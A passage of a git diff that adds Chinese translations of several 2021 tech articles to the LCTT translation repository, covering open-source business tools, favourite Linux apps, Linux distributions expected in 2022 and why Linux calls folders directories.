感到厌烦,[开源爱好者有几个选择][6]。 + +像 Jitsi 这样受欢迎的名字也在这个名单上,还有一些令人惊讶的名字。例如,你知道 Signal 在其功能列表中增加了小组视频通话吗?P2p.chart、BigBlueButton 和 Wire 也进入了这个从小型团体电话到公司会议的各种视频需求的工具列表。 + +### 用 Doodle 的开源替代品来安排约会 + +像 Doodle 这样的约会安排应用省去了很多挑选互不冲突日期的麻烦。对于像 Kevin Sonney 这样主持播客的人来说,这些工具可以帮助他和每个客人轻松找到适合他们双方的日期。 + +虽然 Doodle 赢得了大众投票,但 Sonney [在这篇文章][7] 分享了他使用 Easy!Appointments 的经验。它旨在帮助服务机构,Easy!Appointments 有一个 WordPress 插件,让用户把请求表格放在页面或帖子上。该应用还与谷歌日历同步,并有添加与其他后端同步的支持。 + +### 为什么选择 Plausible 作为谷歌分析的开源替代品 + +如果你需要使用网络分析,似乎谷歌分析是你唯一的选择。Uku Taht 和 Marko Saric 在建立 Plausible.io 时,就着手改变这种情况,以提供一个开源的分析工具,可以管理大量的数据而不会出现性能下降。发布两年后,Plausible 每月可以抓取超过 8000 万条记录。 + +在这篇文章中,Ben Rometsch 分享了 [Plausible 的历程][8],从带有敏感代码的软件到 AGPL 下的开源选择。如果你想知道这个小小的分析引擎是如何在 GitHub 上从 500 颗星发展到 4300 颗星的,那么这篇文章很值得一读。 + +### 试试 Chatwoot,一个开源的客户关系平台 + +想找一个涵盖客服管理/支持的开源端到端平台?如果你想要 Salesforce 或 Zendesk 以外的东西,用 Ruby 和 Vue.js 构建的 Chatwoot 可能是一个可行的选择。 + +Nitish Tiwari 在 [这篇文章][9] 中分享了 Chatwoot 的架构、安装和主要功能。它可以在几个平台上使用,包括 Linux 和 Docker。这篇文章分享了使用 Docker 的安装过程,以及渠道和集成等功能。 + +### 开始使用开源的客户数据平台 + +如果你正在管理大规模数据,你很可能使用或正在寻找一个数据仓库。那些寻找开源仓库的人可以考虑 RudderStack,它在数据仓库上建立客户数据湖之前收集和路由事件流数据。 + +Amey Varangaonkar [分享了如何获得 RudderStack 的工作空间令牌][10],然后在 Docker 或 Kubernetes 上安装和部署。该工具的 rudder-server 仓库和目标集成是开源的,让用户看到该工具如何完成复杂的任务。在一个充满风险的黑盒子时代,拥有这种透明度是一个很大的好处。 + +### 试试 Dolibarr,一个开源的客户关系管理平台 + +你没有看错:这是另一篇关于客户关系管理的开源替代品的文章。[Pradeep Vijayakumar 的这篇文章][11] 涵盖了 Dolibarr,它在拥有 CRM 功能的同时还拥有强大的 ERP 功能。 + +Vijayakumar 就在做 Dolibarr 开发工作,所以他对安装它的 CRM、添加客户数据和设置活动的知识是非常丰富的。截图显示了每个过程的细节,并提供了优化工具的有用提示。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/open-source-alternatives + +作者:[Lauren Maffeo][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/lmaffeo +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/EDU_OSDC_IntroOS_520x292_FINAL.png?itok=woiZamgj (name tag that says hello my name is open source) +[2]: https://opensource.com/article/21/3/open-source-project-management +[3]: https://opensource.com/article/21/9/open-source-groupware-grommunio +[4]: https://opensource.com/article/20/5/open-source-video-conferencing +[5]: https://opensource.com/article/21/2/linux-skrooge +[6]: https://opensource.com/article/21/9/alternatives-zoom +[7]: https://opensource.com/article/21/1/open-source-scheduler +[8]: https://opensource.com/article/21/2/plausible +[9]: https://opensource.com/article/21/6/chatwoot +[10]: https://opensource.com/article/21/3/rudderstack-customer-data-platform +[11]: https://opensource.com/article/21/7/open-source-dolibarr diff --git a/published/202201/20211227 5 ways open source software transformed business in 2021.md b/published/202201/20211227 5 ways open source software transformed business in 2021.md new file mode 100644 index 0000000000..d293b64dc7 --- /dev/null +++ b/published/202201/20211227 5 ways open source software transformed business in 2021.md @@ -0,0 +1,63 @@ +[#]: subject: "5 ways open source software transformed business in 2021" +[#]: via: "https://opensource.com/article/21/12/open-source-software-business" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14152-1.html" + +2021 年总结:开源软件改变商业的 5 种方式 +====== + +> 这组文章展示了企业如何与开源软件连接。 + +![](https://img.linux.net.cn/data/attachment/album/202201/06/100657stkkjn9froz4kkqk.jpg) + +开源软件不仅仅创造了专有软件的替代品。在商业方面,开源已经成为一个“力量的倍增器”来改变组织的经营方式。同时,越来越多的公司开始采用更多的开源方法,甚至在管理团队和流程方面。 + +在过去的一年里,我们发表了许多优秀的文章,展示了企业如何与开源软件相联系。以下是一些阅读量最大的文章: + +### 《开源给你带来竞争优势的 4 种方式》 + +为了在当今快节奏的世界中取得成功,企业必须对数字解决方案进行明智的投资,使他们能够更快地行动并提高运营的灵活性。这正是越来越多的各种规模和各种行业的组织拥抱开源解决方案的原因。根据麦肯锡的一份报告,开源的采用是表现优异的组织的最大差异化因素。[Jason Blais][3] 写了采用开源技术可以帮助组织推动竞争优势和体验更好的业务成果的 [四个原因][2]。 + +### 《为什么 Crate.io 回归其纯粹的开源根源》 + +开源技术提供企业级的可扩展性、性能、安全性和可靠性。信任就在那里,而且是当之无愧的。但除了顽固的开源信徒之外,较少被人称道的是日常社区贡献的内部运作,在原子级别建立了这些宏观利益。对于那些提供开源技术的人来说,社区不断的用户驱动的测试和加固将这些技术锻造成强大和成熟的解决方案。Crate.io 的联合创始人 [Bernd Dorn][5] 写道,该组织从“开放核心” [转变][4] 为采用 Apache 2.0 许可的纯开源。 + +### 《为什么非营利组织选择开源软件》 + +随着科技和数据安全意识的提高,开源软件比以往任何时候都更成为各阶层组织的首选。非营利组织在财务方面尤其脆弱,同时又要处理重要的社会和环境问题。[Michael Korotaev][7] 以 Nextcloud 和 ONLYOFFICE为 例,写了关于在非营利组织中 [采用开源协作技术][6] 的文章。 + +### 《管理开源产品路线图》 + +客户,以及与他们交谈的销售和营销团队,都喜欢一个路线图。它让他们了解什么是现实的,什么是不现实的。路线图也是一个产品的核心。[Scott McCarty][9] 写了关于 [管理开源产品路线图][8] 的文章,以及为什么专有产品的路线图与建立在开源供应链上的产品没有什么不同。产品经理与客户交谈,对他们的需求进行排序,制定路线图,然后找出如何通过建设、购买和合作来提供能力。 + +### 《将开源产品推向市场》 + +产品营销和计划中的信息传递的作用对于一个成功的发布至关重要。Scott McCarty 继续他关于开源供应链中的产品管理的系列文章,讨论了 [开源和产品营销的交叉点][10]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/open-source-software-business + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_orgchart1.png?itok=tukiFj89 (A confusing business organization chart) +[2]: https://opensource.com/article/21/4/open-source-competitive-advantage +[3]: https://opensource.com/users/jasonblais +[4]: https://opensource.com/article/21/4/crate-open-source +[5]: https://opensource.com/users/bernd-dorn +[6]: https://opensource.com/article/21/9/nonprofit-open-source +[7]: https://opensource.com/users/michaelk +[8]: https://opensource.com/article/21/9/open-source-product-roadmap +[9]: https://opensource.com/users/fatherlinux +[10]: https://opensource.com/article/21/10/open-source-product-market diff --git a/published/202201/20211227 My Top 5 Favorite Linux Apps That I Discovered in 2021.md b/published/202201/20211227 My Top 5 Favorite Linux Apps That I Discovered in 2021.md new file mode 100644 index 0000000000..3dc919ce65 --- /dev/null +++ b/published/202201/20211227 My Top 5 Favorite Linux Apps That I Discovered in 2021.md @@ -0,0 +1,123 @@ +[#]: subject: "My Top 5 Favorite Linux Apps That I Discovered in 2021" +[#]: via: "https://news.itsfoss.com/linux-apps-discovered-2021/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14140-1.html" + +2021 年我最喜欢的五个 Linux 应用程序 +====== + +> 这些应用程序可能不是绝对的必需品,但我很高兴在 2021 年发现了它们。 + +![](https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-apps-discovered-in-2021.png?w=1200&ssl=1) + +在这个 2021 年,我目睹了数百个有趣的 Linux 应用程序的开发取得了进展,并因此获得了更多用户。虽然其中一些已经止步,但其它的应用还在继续发展,不断地获得更多的关注和新功能。 + +虽然我希望我可以对所有这些应用都有所了解,但显然这是不可能的。不过,我已经挑选了 5 个我最喜欢的应用,并在这里与你分享它们。它们可能不会被列入 [必需的 Linux 应用程序名单][1],但我却十分青睐它们。 + +在开始之前,应该注意的是,所有这些应用程序,除了 EverSticky 之外,都是融合性的,这意味着它们同样适用于桌面和移动 Linux 设备。随着 PinePhone 和 Librem 5 等设备变得越来越流行,我认为融合性应用是相当重要的,看到这么多的此类应用正在开发中,真是太好了。 + +言归正传,让我们来看看第一个应用程序。 + +### Index + +![图片来源:MauiKit][2] + +早在 2016 年,当 KDE 发布 Kirigami 时,很明显,它是 KDE 的应用程序的未来。不幸的是,将成千上万的应用程序转换到一个新的 UI 工具包是相当困难的,这导致了 KDE 应用程序之间严重的不一致。 + +五年后的今天,作为桌面级应用的 UI 工具包,我们终于看到 Kirigami 被真正重视起来,这在文件管理器 Index 中得到了完美的体现。这个漂亮的应用程序能成为 Plasma Mobile 和 Nitrix Linux 的默认文件管理器,自然有原因的。 + +虽然不像 KDE 的默认文件管理器 Dolphin 那样功能丰富,但它有集成终端、文件预览、标签和分割视图模式等功能。这使得它可以和 Gnome 的 Nautilus 相提并论,同时它还有融合性和基于 Kirigami 的明显优势。 + +自从发现了它,我就只用它了,甚至没有想过要换回 Dolphin 或 Nautilus。我强烈推荐给任何想尝试新文件管理器的人。 + +- [获取 Index][3] + +### Vakzination + +我相信大家都会这样认为,过去的两年是艰难的,但是在隧道的尽头有一道光。随着疫苗的推出,我们似乎终于接近了这场大流行病的终点。 + +不幸的是,这也意味着许多人不得不习惯于疫苗证书的概念,其中许多现在是数字证书。这对 Linux 用户来说可能是个问题,因为卫生部门很少有资源为 Linux 开发疫苗接种证书应用程序。 + +然而,这并没有阻止一些社区成员致力于开发一个自由开源的替代方案,从而产生了 Vakzination。作为一个 KDE 应用程序,它使用 Kirigami 和 Qt Quick 创建了一个快速、现代和用户友好的疫苗接种证书应用程序,使用起来非常方便和快捷。 + +它目前支持以下证书格式: + + * [印度疫苗接种证书][4] + * [欧盟 “数字绿色证书”(DCG)疫苗接种、测试和康复证书][5] + +老实说,我觉得社区在这个应用程序上取得的成就相当不可思议,在此希望他们能尽快增加更多的格式支持。 + +- [获取 Vakzination][6] + +### Elisa + +![][7] + +Elisa 是另一个基于 Kirigami 的应用程序,是一个来自 KDE 的快速而漂亮的音乐播放器。它支持所有主要的音频格式,并集成到 Baloo 文件索引器中,以确保你所有的音乐都被收录。 + +> Elisa 是一个由 KDE 社区开发的音乐播放器,努力做到简单和好用。我们也认识到,我们需要一个灵活的产品来考虑用户的不同工作流程和使用情况。我们专注于与 KDE 社区的 Plasma 桌面进行良好整合,而不影响对其他平台(其他 Linux 桌面环境、Windows 和 Android)的支持。 +> +> 据 [Elisa 网站][8] + +总的来说,对于任何平台来说,它都是一个伟大的音乐播放器,对于 KDE Plasma 和 Plasma Mobile 用户来说更是如此。 + +- [获取 Elisa][9] + +### Fractal + +![][10] + +继续看看 Gnome 应用程序,Fractal 已经迅速成为我最喜欢的信息应用。它使用了成熟的 Matrix 通信协议,并支持用户可能期望的现代消息应用程序的所有功能。 + +它有些值得注意的功能,如图像和视频预览,以及对所有 Matrix 功能的支持。此外,它使用 LibHandy 库,这意味着它可以在移动设备上完美地工作,如 PinePhone 和 Librem 5。 + +总的来说,我对这个应用程序非常满意,因为它几乎适合任何希望与朋友或家人交流的人。 + +- [获取 Fractal][11] + +### EverSticky + +![][12] + +到目前为止,EverSticky 是这个名单上最小的项目,它是一个类似于 Windows 11 的便签应用Sticky Notes 的小型记事应用。与许多其他可用于 Linux 的便签应用不同,EverSticky 有一个关键优势,它能够同步到印象笔记。 + +这意味着所有在 EverSticky 上做的笔记也会出现在任何其他登录到印象笔记的设备上。为了帮助尽量减少用户界面混乱(用 Qt 构建),它利用了一个托盘图标,类似于所有最近版本的 Windows 中的图标。 + +从我的使用经验来看,它工作得非常好,我的所有笔记都能在我的所有设备之间无缝同步。我强烈建议你自己尝试一下。 + +- [获取 EverSticky][13] + +总的来说,我对 Linux 上的应用程序的未来感到兴奋。随着越来越多的人开始关注对开源项目的贡献,我希望我们能得到更多像这样不可思议的应用程序。 + +你今年还发现了其他一些有趣的新应用吗?请在下面的评论中分享它们。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-apps-discovered-2021/ + +作者:[Jacob Crume][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/essential-linux-applications/ +[2]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/index-fm.png?resize=1568%2C1037&ssl=1 +[3]: https://mauikit.org/apps/index/ +[4]: https://en.wikipedia.org/wiki/Verifiable_credentials +[5]: https://github.com/eu-digital-green-certificates +[6]: https://invent.kde.org/plasma-mobile/vakzination +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/04/Elisa-screenshot.png?w=800&ssl=1 +[8]: https://elisa.kde.org/ +[9]: tmp.C4FwOdq3pZ +[10]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/fractal-4.0.png?resize=1568%2C882&ssl=1 +[11]: https://wiki.gnome.org/Apps/Fractal +[12]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/eversticky.png?w=580&ssl=1 +[13]: https://github.com/itsmejoeeey/eversticky diff --git a/published/202201/20211228 7 Linux Distros to Look Forward to in 2022.md b/published/202201/20211228 7 Linux Distros to Look Forward to in 2022.md new file mode 100644 index 0000000000..953a5558f7 --- /dev/null +++ b/published/202201/20211228 7 Linux Distros to Look Forward to in 2022.md @@ -0,0 +1,178 @@ +[#]: subject: "7 Linux Distros to Look Forward to in 2022" +[#]: via: "https://news.itsfoss.com/linux-distro-releases-2022/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "imgradeone" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14143-1.html" + +2022 年值得期待的 7 款 Linux 发行版 +====== + +> 2022 年已至,是时候期待一些激动人心的发行版更新了!这里我们挑选了一些值得关注的发行版选择。 + +![](https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/Linux-distros-2022.png?w=1200&ssl=1) + +是时候和 2021 年说再见了。 + +如果你错过了 [2021 年的 Linux 大事件][1],现在你也可以去回顾一下。 + +不过,考虑到 2021 年已有许多令人印象深刻的发行版推出,2022 年,对于较新的 Linux 发行版以及现有版本的更新,人们的期待值已经直达顶峰。 + +与十年前相比,Linux 发行版如今更加注重用户体验。这不仅仅关乎资源占用,更关系到发行版的外观及对现代桌面硬件的兼容性。 + +先来简单回顾一下 —— [elementary OS 6.1][2]、[Zorin OS 16][3]、[Pop!\_OS 21.10][4] 和 Linux Mint 20.3 都是于 2021 年推出的大型 Linux 发行版的更新版。这些发行版都专注于改善用户体验、改进视觉、优化生产力。 + +毫无疑问,你可以选择上述发行版并感受前所未有的桌面体验,也可以获取 [最佳 Linux 发行版][5] 的最新更新。 + +所以,到了 2022 年,你又应该期待什么?是否会有一个能让用户体验更上一层楼的发行版呢? + +答案是肯定的,这里就有一些你值得关注的发行版。在此我列出了清单,重点强调 2022 年这些发行版的计划更新内容。 + +### 2022 年最值得期待的发行版 + +请注意:这里列出的大部分发行版的官方信息暂时缺失,不过本文章将定期更新以补充最新消息。 + +#### 1、Slackware 15 + +![][6] + +Slackware 是至今为止 [最长寿的活跃发行版][7]。Slackware 15 Beta 版已在去年发布,稳定版将于 2022 年初发布。 + +对于新手级桌面用户来说,这并不那么吸引人,不过如果你想要一款支持旧硬件,或者能够有效利用资源的发行版,Slackware 可以成为你的候选方案。 + +再次强调一下,Slackware 15 将是时隔六年后的一个大版本更新,所以这是一件大事。 + +不过,这款发行版会更适合有经验的 Linux 用户。 + +因此,如果你对此不感兴趣的话,你可以去看看 [最轻量级的 Linux 发行版列表][8]。 + +#### 2、Ubuntu 22.04 LTS + +![][30] + +Ubuntu 的下一个 LTS 版本 22.04(代号 Jammy Jellyfish)将于 2022 年 4 月 21 日发布。 + +在 Ubuntu 22.04 LTS 中,你将可以体验到 GNOME 42 桌面环境、全新的安装器,以及默认使用 Wayland 的桌面会话。 + +[Ubuntu 21.10][9] 的一系列改进也将在 Ubuntu 22.04 LTS 中一并出现。 + +#### 3、Zorin OS 17 + +![Zorin OS 16][31] + +[Zorin OS 16][10] 凭借其新增的许多功能及用户体验改进,让我们留下了极其深刻的印象。 + +我认为 Zorin OS 16 是一次极大地增强了桌面体验的更新。 + +考虑到 Zorin OS 16 中已经有了大幅改进,我们应该转投于下一个大版本更新 —— 将于 2022 年发布的 Zorin OS 17。当然,它应该会基于 Ubuntu 22.04 LTS,不过你更应该期待一下视觉方面的改进。 + +#### 4、Pop!\_OS 22.04 + +![][32] + +[Pop!\_OS][11] 是一款开箱即用的稳定发行版。与其他发行版不同, Pop!\_OS 并不意在于“更棒的视觉体验”,而是专注于增强工作流环境,同时提供独特的桌面体验。 + +System76 [将仓库从 Launchpad 转移出去][12] 和计划 [使用 Rust 从头构建桌面环境][13] 这几件激动人心的举措,使我更有意愿去关注他们的发展动态。 + +毫无疑问,[Pop!\_OS 能够成为我的主力系统][14]。 + +此外,Pop!\_OS 22.04 将会是 System76 对其操作系统后续规划的有力支撑,所以,拭目以待吧。 + +#### 5、Linux Mint 21 + +![][15] + +[Linux Mint][16] 团队可能不会推出很多变化,但从 Linux Mint 20.3 开始,他们开始专注于改善视觉了。 + +我并不希望有任何破坏性变更。不过,Linux Mint 21 仍旧有值得期待的重大视觉优化,毕竟他们确实需要向更现代的桌面环境发展了。 + +#### 6、CutefishOS + +![][33] + +[CutefishOS][17] 目前仍处于早期开发阶段(虽然已经到了 Beta 测试阶段),尚未进入稳定阶段。 + +根据我对其 Beta 测试版本的体验,CutefishOS 在用户体验上 [可以与深度操作系统相媲美][18]。当然我仍旧持谨慎态度,毕竟它还没到达稳定阶段。 + +不过,CutefishOS 确实是款值得关注的项目,毕竟,更多的发行版将开始意识到改进用户体验的重要性,并试图与现有的 [最美 Linux 发行版][19] 一决高下,这么“卷”起来总归是好事。 + +#### 7、Fedora 36 + +![][20] + +[Fedora][21] 团队已经从 [Linus Tech Tip 的 Linux 日用挑战系列视频][22] 中认真地听取了用户反馈。 + +事实上,[红帽公司已经捐赠了 1 万美元][23] 来帮助 OBS 构建 Flatpak 官方包。 + +即便 Fedora 并非 Linux 游戏玩家的理想发行版,Fedora 团队也在努力使 Workstation 版本兼顾稳定性和最新功能。 + +[Fedora 35][24] 正是一个优秀案例,它带来了 GNOME 41 和全新的 KDE 变体版本。 + +我并不敢保证 Fedora 36 能更适合游戏玩家,但有一些预期的变化,比如 Wayland 默认使用 NVIDIA 专有驱动,以及新的 GNOME 42 桌面环境。如果你想关注开发动态,你可以查阅 [官方的更新内容列表][25]。 + +#### 额外:Nitrux Linux + +我本来没有计划在这里介绍 Nitrux 的,但 Nitrux 几天前突然 [推出了 Maui Shell 项目][26]。 + +Maui Shell 是一款跨终端的桌面环境,支持电脑、平板、手机。听起来是不是有点像当年 Ubuntu 的 Unity 呢?Nitrux 项目在设计方面一直很出色,所以我对这款新的桌面环境的期待值已经拉满了。 + +![][27] + +Maui Shell 项目仍在大力开发中。它将在接下来的几个月里添加新功能,以确保其基本可用。我们可以期待 2022 年它会变成什么样子。 + +### 结束语 + +即便我们列出了这么多发行版,谁知道哪个发行版又会突然出现,并拿下头条呢? + +也许是 [EndeavourOS][28]、[Garuda Linux][29] 的重量级更新,又或者是别的? + +2022 年,你又会期待哪款发行版呢?不要介意,欢迎在评论区分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-distro-releases-2022/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[imgradeone](https://github.com/imgradeone) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://linux.cn/article-14103-1.html +[2]: https://news.itsfoss.com/elementary-os-6-1-release/ +[3]: https://news.itsfoss.com/zorin-os-16-release/ +[4]: https://linux.cn/article-14083-1.html +[5]: https://itsfoss.com/best-linux-distributions/ +[6]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/04/Slackware-15-beta-feat.png?w=1200&ssl=1 +[7]: https://news.itsfoss.com/slackware-15-beta-release/ +[8]: https://itsfoss.com/lightweight-linux-beginners/ +[9]: https://linux.cn/article-13887-1.html +[10]: https://news.itsfoss.com/zorin-os-16-features/ +[11]: https://pop.system76.com +[12]: https://news.itsfoss.com/pop-os-ppa-repo-move/ +[13]: https://news.itsfoss.com/pop-os-cosmic-rust/ +[14]: https://linux.cn/article-14118-1.html +[15]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-mint-20-3.png?w=1394&ssl=1 +[16]: https://linuxmint.com +[17]: https://cn.cutefishos.com +[18]: https://linux.cn/article-14058-1.html +[19]: https://itsfoss.com/beautiful-linux-distributions/ +[20]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/09/fedora-35-beta.png?w=990&ssl=1 +[21]: https://getfedora.org +[22]: https://linux.cn/article-14053-1.html +[23]: https://www.gamingonlinux.com/2021/12/red-hat-donates-10k-to-obs-studio-flatpak-to-be-official-for-linux/ +[24]: https://linux.cn/article-13949-1.html +[25]: https://www.fedoraproject.org/wiki/Releases/36/ChangeSet +[26]: https://nxos.org/news/introducing-maui-shell/ +[27]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/maui-shell-nitrux.webp?w=1000&ssl=1 +[28]: https://endeavouros.com +[29]: https://garudalinux.org +[30]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/Ubuntu-22.04-LTS.png?w=1200&ssl=1 +[31]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/08/zorin-os-16-pro.png?resize=1568%2C882&ssl=1 +[32]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/pop-os-21-10-feat.png?w=1200&ssl=1 +[33]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/cutefishos.png?w=1200&ssl=1 \ No newline at end of file diff --git a/published/202201/20211229 Folder or Directory- Here-s Why Folders are Called Directories in Linux.md b/published/202201/20211229 Folder or Directory- Here-s Why Folders are Called Directories in Linux.md new file mode 100644 index 0000000000..fd01729ccd --- /dev/null +++ b/published/202201/20211229 Folder or Directory- Here-s Why Folders are Called Directories in Linux.md @@ -0,0 +1,83 @@ +[#]: subject: "Folder or Directory? Here’s Why Folders are Called Directories in Linux" +[#]: via: "https://itsfoss.com/folder-directory-linux/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14137-1.html" + +为什么在 Linux 中“文件夹”被称为“目录”? +====== + +如果你最开始使用的是 Windows 电脑,你很可能会使用“文件夹folder”这个术语。 + +但当你换到 Linux 时,你会发现文件夹通常被称为“目录directory”。 + +这可能使一些新的 Linux 用户感到困惑。你应该叫它文件夹还是目录?它们有区别吗? + +事情是这样的。如果你愿意,你可以叫它文件夹,如果你喜欢,也可以叫它目录。这没有什么区别。 + +但是,如果你想知道为什么文件夹在 Linux 中被称为目录,这里有一些解释。 + +### 为什么在 Linux 中文件夹被称为目录? + +在我解释之前,让我们回顾一下文件夹和目录在现实世界中的用途。 + +在现实中,文件夹(封套)可以用来保存几个文件(或其他项目)。而目录则可以用来维护项目的索引,这样你就可以找到哪个项目位于哪里。 + +![文件夹和目录的示意][1] + +现在,让我们回到目录。这个词甚至在 Linux 存在之前就已经存在了。它来自 UNIX 时代。Linux 继承了 UNIX 的很多东西,这只是其中的一个。 + +现在让我告诉你一些可能让你吃惊的事情。目录并不是真的把文件放在里面。目录是一个“特殊的文件”,它知道文件在存储中的位置(通过 [inode][2])。 + +这就说明了为什么它被称为目录。目录用来保存项目的索引,而不用保存项目本身。Linux 和 UNIX 中的目录并不保存它里面的文件。它们只是记录文件位置的信息。 + +如果你想了解更多关于它的信息,我这篇关于 [硬链接][3] 的文章应该可以帮助你。 + +那么,为什么它被称为文件夹呢?依我看,这是视角的原因。当你在一个图形环境中时,你会将事物可视化。在这里,文件可以像页面一样被可视化,这些文件页面被存储在一个封套(文件夹)中。 + +当操作系统开始使用图形元素时,我认为一些术语也相应地发生了变化,目录 -> 文件夹就是其中之一。 + +### 你应该叫它文件夹还是目录? + +这完全取决于你。你可以按你的习惯使用这两个术语。 + +然而,如果你正在学习 Linux 命令行或经常使用它,使用目录这个术语可能会有一点帮助。 + +有一些 Linux 命令,如 `mkdir`、`rmdir` 等,术语 “dir” 给出了一个提示,即这些命令与目录有关。 + +同样,许多 Linux 命令和 bash 脚本会使用选项 `-d` 表示目录,`-f` 表示文件。 + +甚至终端中的文件属性也会通过在目录前面加上字母 “d” 来区分文件和文件夹(目录)。 + +拿这个例子来说,我有一个名为 `some` 的文件和一个名为 `something` 的文件夹/目录。请注意各种 Linux 命令是如何用 “dir” 或 “d” 来区分文件和目录的。 + +![显示文件和目录操作之间区别的例子][4] + +所有这些让我觉得,在使用 Linux 命令时,使用 “目录” 这个术语会有好处。你的潜意识会更容易将 “dir” 和 “d” 与目录联系起来。 + +再说一次,你想叫它文件夹或目录这完全取决于你。人们会明白你指的是什么。 + +我刚刚对目录一词的历史渊源做了一些分析,这应该会给你一些提示,为什么人们说 “在 Linux/UNIX 中,所有东西都是一个文件”。 + +现在我结束了我的胡言乱语,我请你对它进行评论。如果你发现任何技术上的不准确之处,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/folder-directory-linux/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/folder-directory.png?resize=800%2C450&ssl=1 +[2]: https://linuxhandbook.com/inode-linux/ +[3]: https://linuxhandbook.com/hard-link/ +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/file-directory-commands-difference.png?resize=800%2C378&ssl=1 diff --git a/published/202201/20211229 Open source tools for running a small business in 2022.md b/published/202201/20211229 Open source tools for running a small business in 2022.md new file mode 100644 index 0000000000..a373468ad0 --- /dev/null +++ b/published/202201/20211229 Open source tools for running a small business in 2022.md @@ -0,0 +1,77 @@ +[#]: subject: "Open source tools for running a small business in 2022" +[#]: via: "https://opensource.com/article/21/12/open-source-business-tools" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14156-1.html" + +2021 总结:经营小型企业的开源工具 +====== + +> 这些文章显示了开源作为工具、平台或集成点在商业中的力量。 + +![](https://img.linux.net.cn/data/attachment/album/202201/07/122339ulofkl3j89o94f3l.jpg) + +今年,我们刊登了几篇关注商业中的开源的好文章。这些文章展示了开源作为工具、平台或集成点在商业中的力量。让我们回顾一下 2021 年的一些顶级开源商业故事。 + +### 《我最喜欢的开源项目管理工具》 + +如果你在办公环境中管理过项目,你很可能使用微软 Project 来跟踪任务和分配。然而,开源社区已经创造了许多跟踪项目的选项。对于你的 [项目管理需求][2],[Frank Bergmann][3] 写了关于使用 Redmine、project-open、ProjectLibre、GanttProject、TaskJuggler 和 ProjeQtOr。 + +### 《使用 Apache Superset 进行开源商业智能报告》 + +通过商业智能,你可以通过对数据进行分类、安排结果和显示上下文信息来更好地了解你的信息。对于任何想要做出“数据驱动”决策的组织来说,商业智能(BI)是一项关键技术。[Maxime Beauchemin][5] 的文章讨论了 [Apache Superset][4],以及它如何成熟地成为一个领先的开源 BI 解决方案。 + +### 《6 个用于餐馆和零售商的 WordPress 插件》 + +这场大流行病可能永久性地改变了许多人喜欢做生意的方式。餐馆和其他当地的零售机构不能再像以前那样依赖上门交易了。网上订购食品和其他物品已经成为一种常态和期望。当大流行结束后,消费者不太可能背弃电子商务的便利。[Don Watkins][7] 写了 [六个开源插件][6],帮助你创建一个 WordPress 